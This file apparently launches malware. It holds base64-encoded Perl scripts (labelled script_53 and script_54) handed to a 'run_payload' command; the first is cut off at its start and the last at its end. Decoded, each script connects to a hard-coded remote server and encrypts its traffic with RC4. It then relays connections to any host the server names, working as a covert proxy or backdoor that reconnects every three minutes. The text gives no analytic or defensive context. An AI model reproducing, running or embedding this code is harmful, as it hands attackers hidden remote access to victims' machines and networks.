5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_53.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk1JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_54.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk2JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3Rhcn